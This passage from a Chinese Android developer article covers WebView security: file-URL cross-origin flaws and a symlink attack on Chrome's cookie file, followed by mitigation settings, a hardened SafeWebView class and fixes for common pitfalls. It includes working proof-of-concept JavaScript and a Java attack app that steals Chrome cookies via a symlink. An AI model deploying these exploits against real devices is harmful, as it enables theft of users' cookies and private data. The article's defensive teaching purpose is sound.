    elements, is unaffected. To prevent possible violation of same domain policy on ICE_CREAM_SANDWICH 
    and earlier devices, you should explicitly set this value to false.
    The default value is true for API level ICE_CREAM_SANDWICH_MR1 and below, and false for API level 
    JELLY_BEAN and above.複製程式碼

      通過此API可以設定是否允許通過 file url 載入的 Javascript 讀取其他的本地檔案,這個設定在 JELLY_BEAN(android 4.1) 以前的版本預設是允許,在 JELLY_BEAN 及以後的版本中預設是禁止的。當 AllowFileAccessFromFileURLs 設定為 true 時,對應上面的 attack.html 程式碼為:

    <script>
    function loadXMLDoc()
    {
        var arm = "file:///etc/hosts";
        var xmlhttp;
        if (window.XMLHttpRequest)
        {
            xmlhttp=new XMLHttpRequest();
        }
        xmlhttp.onreadystatechange=function()
        {
            //alert("status is"+xmlhttp.status);
            if (xmlhttp.readyState==4)
            {
                  console.log(xmlhttp.responseText);
            }
        }
        xmlhttp.open("GET",arm);
        xmlhttp.send(null);
    }
    loadXMLDoc();
    </script>複製程式碼

    ,此時通過這段程式碼就可以成功讀取 /etc/hosts 的內容,最顯著的例子就是 360 手機瀏覽器的早期 4.8 版本,由於未對 file 域做安全限制,惡意 APP 呼叫 360 瀏覽器載入本地的攻擊頁面(比如惡意 APP 釋放到 sd 卡上的一個 html)後,就可以獲取 360 手機瀏覽器下的所有私有資料,包括 webviewCookiesChromium.db 下的 Cookie 內容,但是如果設定為 false 時,上述指令碼執行會導致如下錯誤,表示瀏覽器禁止從 file url 中的 javascript 讀取其它本地檔案:

    I/chromium(27749): [INFO:CONSOLE(0)] “XMLHttpRequest cannot load file:///etc/hosts. Cross origin 
    requests are only supported for HTTP.”, source: file:///data/local/tmp/attack.html複製程式碼

    setAllowUniversalAccessFromFileURLs)

      通過此 API 可以設定是否允許通過 file url 載入的 Javascript 可以訪問其他的源,包括其他的檔案和 http,https 等其他的源。這個設定在 JELLY_BEAN 以前的版本預設是允許,在 JELLY_BEAN 及以後的版本中預設是禁止的。如果此設定是允許,則 setAllowFileAccessFromFileURLs 不起做用,此時修改 attack.html 的程式碼:

    <script>
    function loadXMLDoc()
    {
        var arm = "http://www.so.com";
        var xmlhttp;
        if (window.XMLHttpRequest)
        {
            xmlhttp=new XMLHttpRequest();
        }
        xmlhttp.onreadystatechange=function()
        {
            //alert("status is"+xmlhttp.status);
            if (xmlhttp.readyState==4)
            {
                 console.log(xmlhttp.responseText);
            }
        }
        xmlhttp.open("GET",arm);
        xmlhttp.send(null);
    }
    loadXMLDoc();
    </script>複製程式碼

    當 AllowFileAccessFromFileURLs 為 true 時,上述 javascript 可以成功讀取 www.so.com 的內容,但設定為 false 時,上述指令碼執行會導致如下錯誤,表示瀏覽器禁止從 file url 中的 javascript 訪問其他源的資源:

    I/chromium(28336): [INFO:CONSOLE(0)] “XMLHttpRequest cannot
    load http://www.so.com/. Origin null is not allowed by
    Access-Control-Allow-Origin.”, source: file:///data/local/tmp/attack.html複製程式碼

    以上漏洞的初步解決方案

      通過以上的介紹,初步的方案是使用下面的程式碼來杜絕:

    setAllowFileAccess(true);                               //設定為 false 將不能載入本地 html 檔案
    setAllowFileAccessFromFileURLs(false);
    setAllowUniversalAccessFromFileURLs(false);複製程式碼

    這樣就可以讓 html 頁面載入本地的 javascript,同時杜絕載入的 js 訪問本地的檔案或者讀取其他的源,不是就 OK 了麼,而且在 JELLY_BEAN(android 4.1) 版本以及之後不是都預設為 false 了麼,其實不然,我們繼續往下看其他漏洞。

    使用符號連結跨源

      為了安全的使用 WebView,AllowUniversalAccessFromFileURLs 和 AllowFileAccessFromFileURLs 都應該設定為禁止,在 JELLY_BEAN(android 4.1) 及以後的版本中這兩項設定預設也是禁止的,但是即使把這兩項都設定為 false,通過 file URL 載入的 javascript 仍然有方法訪問其他的本地檔案,通過符號連結攻擊可以達到這一目的,前提是允許 file URL 執行 javascript。這一攻擊能奏效的原因是無論怎麼限制 file 協議的同源檢查,其 javascript 都應該能訪問當前的檔案,通過 javascript 的延時執行和將當前檔案替換成指向其它檔案的軟連結就可以讀取到被符號連結所指的檔案,具體攻擊步驟見 Chromium bug 144866,下面也貼出了程式碼和詳解。因為 Chrome 最新版本預設禁用 file 協議,所以這一漏洞在最新版的 Chrome 中並不存在,Google 也並沒有修復它,但是大量使用 WebView 的應用和瀏覽器,都有可能受到此漏洞的影響,通過利用此漏洞,無特殊許可權的惡意 APP 可以盜取瀏覽器的任意私有檔案,包括但不限於 Cookie、儲存的密碼、收藏夾和歷史記錄,並可以將所盜取的檔案上傳到攻擊者的伺服器。下圖為通過 file URL 讀取某手機瀏覽器 Cookie 的截圖:

    android WebView詳解,常見漏洞詳解和安全原始碼
    這裡寫圖片描述


    截圖將 Cookie alert 出來了,實際情況可以上傳到伺服器,攻擊的詳細程式碼如下所示:

    public class MainActivity extends AppCompatActivity {
        public final static String MY_PKG = "com.example.safewebview";
        public final static String MY_TMP_DIR = "/data/data/" + MY_PKG + "/tmp/";
        public final static String HTML_PATH = MY_TMP_DIR + "A" + Math.random() + ".html";
        public final static String TARGET_PKG = "com.android.chrome";
        public final static String TARGET_FILE_PATH = "/data/data/" + TARGET_PKG + "/app_chrome/Default/Cookies";
        public final static String HTML =
                "<body>" +
                        "<u>Wait a few seconds.</u>" +
                        "<script>" +
                        "var d = document;" +
                        "function doitjs() {" +
                        "  var xhr = new XMLHttpRequest;" +
                        "  xhr.onload = function() {" +
                        "    var txt = xhr.responseText;" +
                        "    d.body.appendChild(d.createTextNode(txt));" +
                        "    alert(txt);" +
                        "  };" +
                        "  xhr.open('GET', d.URL);" +
                        "  xhr.send(null);" +
                        "}" +
                        "setTimeout(doitjs, 8000);" +
                        "</script>" +
                        "</body>";
    
        @Override
        public void onCreate(Bundle savedInstanceState) {
            super.onCreate(savedInstanceState);
            doit();
        }
    
        public void doit() {
            try {
                // Create a malicious HTML
                cmdexec("mkdir " + MY_TMP_DIR);
                cmdexec("echo \"" + HTML + "\" > " + HTML_PATH);
                cmdexec("chmod -R 777 " + MY_TMP_DIR);
    
                Thread.sleep(1000);
    
                // Force Chrome to load the malicious HTML
                invokeChrome("file://" + HTML_PATH);
    
                Thread.sleep(4000);
    
                // Replace the HTML with a symlink to Chrome's Cookie file
                cmdexec("rm " + HTML_PATH);
                cmdexec("ln -s " + TARGET_FILE_PATH + " " + HTML_PATH);
            } catch (Exception e) {
            }
        }
    
        public void invokeChrome(String url) {
            Intent intent = new Intent(Intent.ACTION_VIEW, Uri.parse(url));
            intent.setClassName(TARGET_PKG, TARGET_PKG + ".Main");
            startActivity(intent);
        }
    
        public void cmdexec(String cmd) {
            try {
                String[] tmp = new String[]{"/system/bin/sh", "-c", cmd};
                Runtime.getRuntime().exec(tmp);
            } catch (Exception e) {
            }
        }
    }複製程式碼

    這就是使用符號連結跨源獲取私有檔案的程式碼,應該不難讀懂,首先把惡意的 js 程式碼輸出到攻擊應用的目錄下,隨機命名為 xx.html,並且修改該目錄的許可權,修改完成之後休眠 1s,讓檔案操作完成,完成之後通過系統的 Chrome 應用去開啟這個 xx.html 檔案,然後等待 4s 讓 Chrome 載入完成該 html,最後將該 html 刪除,並且使用 ln -s 命令為 Chrome 的 Cookie 檔案建立軟連線,注意,在這條命令執行之前 xx.html 是不存在的,執行完這條命令之後,就生成了這個檔案,並且將 Cookie 檔案連結到了 xx.html 上,於是就可以通過連結來訪問 Chrome 的 Cookie 了。

    setJavaScriptEnabled)

      通過此 API 可以設定是否允許 WebView 使用 JavaScript,預設是不允許,但很多應用,包括移動瀏覽器為了讓 WebView 執行 http 協議中的 JavaScript,都會主動設定允許 WebView 執行 JavaScript,而又不會對不同的協議區別對待,比較安全的實現是如果載入的 url 是 http 或 https 協議,則啟用 JavaScript,如果是其它危險協議,比如是 file 協議,則禁用 JavaScript。如果是 file 協議,禁用 javascript 可以很大程度上減小跨源漏洞對 WebView 的威脅,但是此時禁用 JavaScript 的執行並不能完全杜絕跨原始檔洩露。例如,有的應用實現了下載功能,對於載入不了的頁面,會自動下載到 sd 卡中,由於 sd 卡中的檔案所有應用都可以訪問,於是可以通過構造一個 file URL 指向被攻擊應用的私有檔案,然後用此 URL 啟動被攻擊應用的 WebActivity,這樣由於該 WebActivity 無法載入該檔案,就會將該檔案下載到 sd 卡下面,然後就可以從 sd 卡上讀取這個檔案了,當然這種應用比較少,這個也算是應用自身無意產生的一個漏洞吧。

    以上漏洞的解決方案

      針對 WebView 域控制不嚴格漏洞的安全建議如下:

    1. 對於不需要使用 file 協議的應用,禁用 file 協議;
    2. 對於需要使用 file 協議的應用,禁止 file 協議載入 JavaScript。
      所以兩種解決辦法,第一種類似 Chrome,直接禁止 file 協議:
    setAllowFileAccess(false);                              //設定為 false 將不能載入本地 html 檔案
    setAllowFileAccessFromFileURLs(false);
    setAllowUniversalAccessFromFileURLs(false);複製程式碼

    第二種是根據不同情況不同處理(無法避免應用對於無法載入的頁面下載到 sd 卡上這個漏洞):

    setAllowFileAccess(true);                             //設定為 false 將不能載入本地 html 檔案
    setAllowFileAccessFromFileURLs(false);
    setAllowUniversalAccessFromFileURLs(false);
    if (url.startsWith("file://") {
        setJavaScriptEnabled(false);
    } else {
        setJavaScriptEnabled(true);
    }複製程式碼

    開發中遇見的坑

      這裡記錄一下開發中遇到的一些坑和解決辦法:

    loadData() 方法

      我們可以通過使用 WebView.loadData(String data, String mimeType, String encoding)) 方法來載入一整個 HTML 頁面的一小段內容,第一個就是我們需要 WebView 展示的內容,第二個是我們告訴 WebView 我們展示內容的型別,一般,第三個是位元組碼,但是使用的時候,這裡會有一些坑,我們來看一個簡單的例子:

    String html = new String("<h3>我是loadData() 的標題</h3><p>&nbsp&nbsp我是他的內容</p>");
    webView.loadData(html, "text/html", "UTF-8");複製程式碼

    這裡的邏輯很簡單,載入一個簡單的富文字標籤,我們看看執行後的效果:

    android WebView詳解,常見漏洞詳解和安全原始碼
    這裡寫圖片描述


    可以注意到這裡顯示成亂碼了,可是明明已經指定了編碼格式為 UTF-8 啊,可是這就是使用的坑,我們需要將程式碼進行修改:

    String html = new String("<h3>我是loadData() 的標題</h3><p>&nbsp&nbsp我是他的內容</p>");
    webView.loadData(html, "text/html;charset=UTF-8", "null");複製程式碼

    我們再來看看顯示效果:

    android WebView詳解,常見漏洞詳解和安全原始碼
    這裡寫圖片描述


    這樣我們就可以看到正確的內容了,Google 還指出,在我們這種載入的方法下,我們的 Data 資料裡不能出現 ’#’, ‘%’, ‘\’ , ‘?’ 這四個字元,如果出現了我們要用 %23, %25, %27, %3f 對應來替代,網上列舉了未將特定字元轉義過程中遇到的異常現象:

    A)   %  會報找不到頁面錯誤,頁面全是亂碼。
    B)   #  會讓你的 goBack 失效,但 canGoBAck 是可以使用的,於是就會產生返回按鈕生效,但不能返回的情況。
    C)   \ 和 ?  在轉換時,會報錯,因為它會把 \ 當作轉義符來使用,如果用兩級轉義,也不生效。複製程式碼

    我們在使用 loadData() 時,就意味著需要把所有的非法字元全部轉換掉,這樣就會給執行速度帶來很大的影響,因為在使用時,很多情況下頁面 stytle 中會使用很多 '%' 號,頁面的資料越多,執行的速度就會越慢。

    頁面空白

      當 WebView 巢狀在 ScrollView 裡面的時候,如果 WebView 先載入了一個高度很高的網頁,然後載入了一個高度很低的網頁,就會造成 WebView 的高度無法自適應,底部出現大量空白的情況出現,具體的可以看看我以前的部落格:android ScollView 巢狀 WebView 底部空白,高度無法自適應解決

    記憶體洩漏

      WebView 的記憶體洩漏是一個比較大的問題,尤其是當載入的頁面比較龐大的時候,解決方法網上也比較多,但是看情況大部分都不是能徹底根治的,這裡說一下 QQ 和微信的做法,每當開啟一個 WebView 介面的時候,會開啟一個新程式,在頁面退出之後通過 System.exit(0) 關閉這個程式,這樣就不會存在記憶體洩漏的問題了,具體的做法可以檢視這篇部落格:Android WebView Memory Leak WebView記憶體洩漏,裡面也提供了另外一種解決辦法,感興趣的可以去看一下。

    setBuiltInZoomControls 引起的 Crash

      當使用 mWebView.getSettings().setBuiltInZoomControls(true) 啟用該設定後,使用者一旦觸控螢幕,就會出現縮放控制圖示。這個圖示過上幾秒會自動消失,但在 3.0 之上 4.4 系統之下很多手機會出現這種情況:如果圖示自動消失前退出當前 Activity 的話,就會發生 ZoomButton 找不到依附的 Window 而造成程式崩潰,解決辦法很簡單就是在 Activity 的 onDestory 方法中呼叫 mWebView.setVisibility(View.GONE); 方法,手動將其隱藏,就不會崩潰了。

    後臺無法釋放 JS 導致耗電

      如果 WebView 載入的的 html 裡有一些 JS 一直在執行比如動畫之類的東西,如果此刻 WebView 掛在了後臺,這些資源是不會被釋放,使用者也無法感知,導致一直佔有 CPU 增加耗電量,如果遇到這種情況,在 onStop 和 onResume 裡分別把 setJavaScriptEnabled() 給設定成 false 和 true 即可。

    原始碼

      來看看解決上述問題的 WebView 原始碼:

    public class SafeWebView extends WebView {
        private static final boolean DEBUG = true;
        private static final String VAR_ARG_PREFIX = "arg";
        private static final String MSG_PROMPT_HEADER = "MyApp:";
        /**
         * 物件名
         */
        private static final String KEY_INTERFACE_NAME = "obj";
        /**
         * 函式名
         */
        private static final String KEY_FUNCTION_NAME = "func";
        /**
         * 引數陣列
         */
        private static final String KEY_ARG_ARRAY = "args";
        /**
         * 要過濾的方法陣列
         */
        private static final String[] mFilterMethods = {
                "getClass",
                "hashCode",
                "notify",
                "notifyAll",
                "equals",
                "toString",
                "wait",
        };
    
        /**
         * 快取addJavascriptInterface的註冊物件
         */
        private HashMap<String, Object> mJsInterfaceMap = new HashMap<>();
    
        /**
         * 快取注入到JavaScript Context的js指令碼
         */
        private String mJsStringCache = null;
    
        public SafeWebView(Context context, AttributeSet attrs, int defStyle) {
            super(context, attrs, defStyle);
            init();
        }
    
        public SafeWebView(Context context, AttributeSet attrs) {
            super(context, attrs);
            init();
        }
    
        public SafeWebView(Context context) {
            super(context);
            init();
        }
    
        /**
         * WebView 初始化,設定監聽,刪除部分Android預設註冊的JS介面
         */
        private void init() {
            setWebChromeClient(new WebChromeClientEx());
            setWebViewClient(new WebViewClientEx());
            safeSetting();
    
            removeUnSafeJavascriptImpl();
        }
    
        /**
         * 安全性設定
         */
        private void safeSetting() {
            getSettings().setSavePassword(false);
            getSettings().setAllowFileAccess(false);//設定為 false 將不能載入本地 html 檔案
            if (Build.VERSION.SDK_INT >= 16) {
                getSettings().setAllowFileAccessFromFileURLs(false);
                getSettings().setAllowUniversalAccessFromFileURLs(false);
            }
        }
    
        /**
         * 檢查SDK版本是否 >= 3.0 (API 11)
         */
        private boolean hasHoneycomb() {
            return Build.VERSION.SDK_INT >= Build.VERSION_CODES.HONEYCOMB;
        }
    
        /**
         * 檢查SDK版本是否 >= 4.2 (API 17)
         */
        private boolean hasJellyBeanMR1() {
            return Build.VERSION.SDK_INT >= Build.VERSION_CODES.JELLY_BEAN_MR1;
        }
    
        /**
         * 3.0 ~ 4.2 之間的版本需要移除 Google 注入的幾個物件
         */
        @SuppressLint("NewApi")
        private boolean removeUnSafeJavascriptImpl() {
            if (hasHoneycomb() && !hasJellyBeanMR1()) {
                super.removeJavascriptInterface("searchBoxJavaBridge_");
                super.removeJavascriptInterface("accessibility");
                super.removeJavascriptInterface("accessibilityTraversal");
                return true;
            }
            return false;
        }
    
        @Override
        public void setWebViewClient(WebViewClient client) {
            if (hasJellyBeanMR1()) {
                super.setWebViewClient(client);
            } else {
                if (client instanceof WebViewClientEx) {
                    super.setWebViewClient(client);
                } else if (client == null) {
                    super.setWebViewClient(client);
                } else {
                    throw new IllegalArgumentException(
                            "the \'client\' must be a subclass of the \'WebViewClientEx\'");
                }
            }
        }
    
        @Override
        public void setWebChromeClient(WebChromeClient client) {
            if (hasJellyBeanMR1()) {
                super.setWebChromeClient(client);
            } else {
                if (client instanceof WebChromeClientEx) {
                    super.setWebChromeClient(client);
                } else if (client == null) {
                    super.setWebChromeClient(client);
                } else {
                    throw new IllegalArgumentException(
                            "the \'client\' must be a subclass of the \'WebChromeClientEx\'");
                }
            }
        }
    
        /**
         * 如果版本大於 4.2,漏洞已經被解決,直接呼叫基類的 addJavascriptInterface
         * 如果版本小於 4.2,則使用map快取待注入物件
         */
        @SuppressLint("JavascriptInterface")
        @Override
        public void addJavascriptInterface(Object obj, String interfaceName) {
            if (TextUtils.isEmpty(interfaceName)) {
                return;
            }
    
            // 如果在4.2以上,直接呼叫基類的方法來註冊
            if (hasJellyBeanMR1()) {
                super.addJavascriptInterface(obj, interfaceName);
            } else {
                mJsInterfaceMap.put(interfaceName, obj);
            }
        }
    
        /**
         * 刪除待注入物件,
         * 如果版本為 4.2 以及 4.2 以上,則使用父類的removeJavascriptInterface。
         * 如果版本小於 4.2,則從快取 map 中刪除注入物件
         */
        @SuppressLint("NewApi")
        public void removeJavascriptInterface(String interfaceName) {
            if (hasJellyBeanMR1()) {
                super.removeJavascriptInterface(interfaceName);
            } else {
                mJsInterfaceMap.remove(interfaceName);
                //每次 remove 之後,都需要重新構造 JS 注入
                mJsStringCache = null;
                injectJavascriptInterfaces();
            }
        }
    
        /**
         * 如果 WebView 是 SafeWebView 型別,則向 JavaScript Context 注入物件,確保 WebView 是有安全機制的
         */
        private void injectJavascriptInterfaces(WebView webView) {
            if (webView instanceof SafeWebView) {
                injectJavascriptInterfaces();
            }
        }
    
        /**
         * 注入我們構造的 JS
         */
        private void injectJavascriptInterfaces() {
            if (!TextUtils.isEmpty(mJsStringCache)) {
                loadUrl(mJsStringCache);
                return;
            }
    
            mJsStringCache = genJavascriptInterfacesString();
            loadUrl(mJsStringCache);
        }
    
        /**
         * 根據快取的待注入java物件,生成對映的JavaScript程式碼,也就是橋樑(SDK4.2之前通過反射生成)
         */
        private String genJavascriptInterfacesString() {
            if (mJsInterfaceMap.size() == 0) {
                return null;
            }
    
            /*
             * 要注入的JS的格式,其中XXX為注入的物件的方法名,例如注入的物件中有一個方法A,那麼這個XXX就是A
             * 如果這個物件中有多個方法,則會註冊多個window.XXX_js_interface_name塊,我們是用反射的方法遍歷
             * 注入物件中的帶有@JavaScripterInterface標註的方法
             *
             * javascript:(function JsAddJavascriptInterface_(){
             *   if(typeof(window.XXX_js_interface_name)!='undefined'){
             *       console.log('window.XXX_js_interface_name is exist!!');
             *   }else{
             *       window.XXX_js_interface_name={
             *           XXX:function(arg0,arg1){
             *               return prompt('MyApp:'+JSON.stringify({obj:'XXX_js_interface_name',func:'XXX_',args:[arg0,arg1]}));
             *           },
             *       };
             *   }
             * })()
             */
    
            Iterator<Map.Entry<String, Object>> iterator = mJsInterfaceMap.entrySet().iterator();
            //HEAD
            StringBuilder script = new StringBuilder();
            script.append("javascript:(function JsAddJavascriptInterface_(){");
    
            // 遍歷待注入java物件,生成相應的js物件
            try {
                while (iterator.hasNext()) {
                    Map.Entry<String, Object> entry = iterator.next();
                    String interfaceName = entry.getKey();
                    Object obj = entry.getValue();
                    // 生成相應的js方法
                    createJsMethod(interfaceName, obj, script);
                }
            } catch (Exception e) {
                e.printStackTrace();
            }
    
            // End
            script.append("})()");
            return script.toString();
        }
    
        /**
         * 根據待注入的java物件,生成js方法
         *
         * @param interfaceName 物件名
         * @param obj           待注入的java物件
         * @param script        js程式碼
         */
        private void createJsMethod(String interfaceName, Object obj, StringBuilder script) {
            if (TextUtils.isEmpty(interfaceName) || (null == obj) || (null == script)) {
                return;
            }
    
            Class<? extends Object> objClass = obj.getClass();
    
            script.append("if(typeof(window.").append(interfaceName).append(")!='undefined'){");
            if (DEBUG) {
                script.append("    console.log('window." + interfaceName + "_js_interface_name is exist!!');");
            }
    
            script.append("}else {");
            script.append("    window.").append(interfaceName).append("={");
    
            // 通過反射機制,新增java物件的方法
            Method[] methods = objClass.getMethods();
            for (Method method : methods) {
                String methodName = method.getName();
                // 過濾掉Object類的方法,包括getClass()方法,因為在Js中就是通過getClass()方法來得到Runtime例項
                if (filterMethods(methodName)) {
                    continue;
                }
    
                script.append("        ").append(methodName).append(":function(");
                // 新增方法的引數
                int argCount = method.getParameterTypes().length;
                if (argCount > 0) {
                    int maxCount = argCount - 1;
                    for (int i = 0; i < maxCount; ++i) {
                        script.append(VAR_ARG_PREFIX).append(i).append(",");
                    }
                    script.append(VAR_ARG_PREFIX).append(argCount - 1);
                }
    
                script.append(") {");
    
                // Add implementation
                if (method.getReturnType() != void.class) {
                    script.append("            return ").append("prompt('").append(MSG_PROMPT_HEADER).append("'+");
                } else {
                    script.append("            prompt('").append(MSG_PROMPT_HEADER).append("'+");
                }
    
                // Begin JSON
                script.append("JSON.stringify({");
                script.append(KEY_INTERFACE_NAME).append(":'").append(interfaceName).append("',");
                script.append(KEY_FUNCTION_NAME).append(":'").append(methodName).append("',");
                script.append(KEY_ARG_ARRAY).append(":[");
                //  新增引數到JSON串中
                if (argCount > 0) {
                    int max = argCount - 1;
                    for (int i = 0; i < max; i++) {
                        script.append(VAR_ARG_PREFIX).append(i).append(",");
                    }
                    script.append(VAR_ARG_PREFIX).append(max);
                }
    
                // End JSON
                script.append("]})");
                // End prompt
                script.append(");");
                // End function
                script.append("        }, ");
            }
    
            // End of obj
            script.append("    };");
            // End of if or else
            script.append("}");
        }
    
        /**
         * 檢查是否是被過濾的方法
         */
        private boolean filterMethods(String methodName) {
            for (String method : mFilterMethods) {
                if (method.equals(methodName)) {
                    return true;
                }
            }
            return false;
        }
    
        /**
         * 利用反射,呼叫java物件的方法。
         * <p>
         * 從快取中取出key=interfaceName的java物件,並呼叫其methodName方法
         *
         * @param result
         * @param interfaceName 物件名
         * @param methodName    方法名
         * @param args          引數列表
         * @return
         */
        private boolean invokeJSInterfaceMethod(JsPromptResult result, String interfaceName, String methodName, Object[] args) {
    
            boolean succeed = false;
            final Object obj = mJsInterfaceMap.get(interfaceName);
            if (null == obj) {
                result.cancel();
                return false;
            }
    
            Class<?>[] parameterTypes = null;
            int count = 0;
            if (args != null) {
                count = args.length;
            }
    
            if (count > 0) {
                parameterTypes = new Class[count];
                for (int i = 0; i < count; ++i) {
                    parameterTypes[i] = getClassFromJsonObject(args[i]);
                }
            }
    
            try {
                Method method = obj.getClass().getMethod(methodName, parameterTypes);
                Object returnObj = method.invoke(obj, args); // 執行介面呼叫
                boolean isVoid = returnObj == null || returnObj.getClass() == void.class;
                String returnValue = isVoid ? "" : returnObj.toString();
                result.confirm(returnValue); // 通過prompt返回撥用結果
                succeed = true;
            } catch (NoSuchMethodException e) {
                e.printStackTrace();
            } catch (Exception e) {
                e.printStackTrace();
            }
    
            result.cancel();
            return succeed;
        }
    
        /**
         * 解析出引數型別
         *
         * @param obj
         * @return
         */
        private Class<?> getClassFromJsonObject(Object obj) {
            Class<?> cls = obj.getClass();
    
            // js物件只支援int boolean string三種型別
            if (cls == Integer.class) {
                cls = Integer.TYPE;
            } else if (cls == Boolean.class) {
                cls = Boolean.TYPE;
            } else {
                cls = String.class;
            }
    
            return cls;
        }
    
        /**
         * 解析JavaScript呼叫prompt的引數message,提取出物件名、方法名,以及引數列表,再利用反射,呼叫java物件的方法。
         *
         * @param view
         * @param url
         * @param message      MyApp:{"obj":"jsInterface","func":"onButtonClick","args":["從JS中傳遞過來的文字!!!"]}
         * @param defaultValue
         * @param result
         * @return
         */
        private boolean handleJsInterface(WebView view, String url, String message, String defaultValue, JsPromptResult result) {
            String prefix = MSG_PROMPT_HEADER;
            if (!message.startsWith(prefix)) {
                return false;
            }
    
            String jsonStr = message.substring(prefix.length());
            try {
                JSONObject jsonObj = new JSONObject(jsonStr);
                // 物件名稱
                String interfaceName = jsonObj.getString(KEY_INTERFACE_NAME);
                // 方法名稱
                String methodName = jsonObj.getString(KEY_FUNCTION_NAME);
                // 引數陣列
                JSONArray argsArray = jsonObj.getJSONArray(KEY_ARG_ARRAY);
                Object[] args = null;
                if (null != argsArray) {
                    int count = argsArray.length();
                    if (count > 0) {
                        args = new Object[count];
    
                        for (int i = 0; i < count; ++i) {
                            Object arg = argsArray.get(i);
                            if (!arg.toString().equals("null")) {
                                args[i] = arg;
                            } else {
                                args[i] = null;
                            }
                        }
                    }
                }
    
                if (invokeJSInterfaceMethod(result, interfaceName, methodName, args)) {
                    return true;
                }
            } catch (Exception e) {
                e.printStackTrace();
            }
    
            result.cancel();
            return false;
        }
    
        private class WebChromeClientEx extends WebChromeClient {
            @Override
            public final void onProgressChanged(WebView view, int newProgress) {
                injectJavascriptInterfaces(view);
                super.onProgressChanged(view, newProgress);
            }
    
            @Override
            public final boolean onJsPrompt(WebView view, String url, String message, String defaultValue, JsPromptResult result) {
                if (view instanceof SafeWebView) {
                    if (handleJsInterface(view, url, message, defaultValue, result)) {
                        return true;
                    }
                }
    
                return super.onJsPrompt(view, url, message, defaultValue, result);
            }
    
            @Override
            public final void onReceivedTitle(WebView view, String title) {
                injectJavascriptInterfaces(view);
            }
        }
    
        private class WebViewClientEx extends WebViewClient {
            @Override
            public void onLoadResource(WebView view, String url) {
                injectJavascriptInterfaces(view);
                super.onLoadResource(view, url);
            }
    
            @Override
            public void doUpdateVisitedHistory(WebView view, String url, boolean isReload) {
                injectJavascriptInterfaces(view);
                super.doUpdateVisitedHistory(view, url, isReload);
            }
    
            @Override
            public void onPageStarted(WebView view, String url, Bitmap favicon) {
                injectJavascriptInterfaces(view);
                super.onPageStarted(view, url, favicon);
            }
    
            @Override
            public void onPageFinished(WebView view, String url) {
                injectJavascriptInterfaces(view);
                super.onPageFinished(view, url);
            }
        }
    }複製程式碼

    這段程式碼基本是按照上面所描述的情況來寫的,修復了上面提到的幾個漏洞,這裡再描述一下幾個需要注意的點:

    • removeUnSafeJavascriptImpl :該函式用來在特定版本刪除上面提到的幾個 Google 注入的物件;
    • setWebViewClient 和 setWebChromeClient :重寫這兩個函式用來防止子類使用原生的 WebViewClient 和 WebChromeClient 導致失效;
    • 在上面提到的 onLoadResource,doUpdateVisitedHistory,onPageStarted,onPageFinished,onReceivedTitle,onProgressChanged 幾個方法裡面呼叫 injectJavascriptInterfaces 方法來注入生成的 JS 程式碼;
    • genJavascriptInterfacesString 函式用來生成需要注入的 JS 程式碼,其中通過 filterMethods 方法過濾掉了上面提到的幾個需要過濾的方法;
    • 注入完 JS 之後,Web 端就可以根據方法名呼叫對應終端注入的這段 JS 函式,然後呼叫到終端的 onJsPrompt 方法,通過 message 變數將資訊傳遞過來,終端解析出物件、方法名和引數,最後通過反射的方法呼叫到 Native 層的程式碼,另外如果需要返回值,則可以通過 JsPromptResult 物件通過 confirm 函式將資訊從 Native 層傳遞給 Web 端,這樣就實現了一個完整的呼叫鏈。
      下載原始碼:github.com/zhaozepeng/…

    引用

    group.jobbole.com/26417/?utm_…
    blog.csdn.net/jiangwei091…
    blog.csdn.net/leehong2005…
    github.com/yushiwo/Web…
    blog.csdn.net/sk719887916…
    zhuanlan.zhihu.com/p/24202408
    github.com/lzyzsd/JsBr…
    www.jianshu.com/p/93cea79a2…
    www.codexiu.cn/android/blo…
    github.com/pedant/safe…
    blog.sina.com.cn/s/blog_777f…
    www.cnblogs.com/chaoyuehedy…
    blogs.360.cn/360mobile/2…
    my.oschina.net/zhibuji/blo…
    www.cnblogs.com/punkisnotde…

    相關文章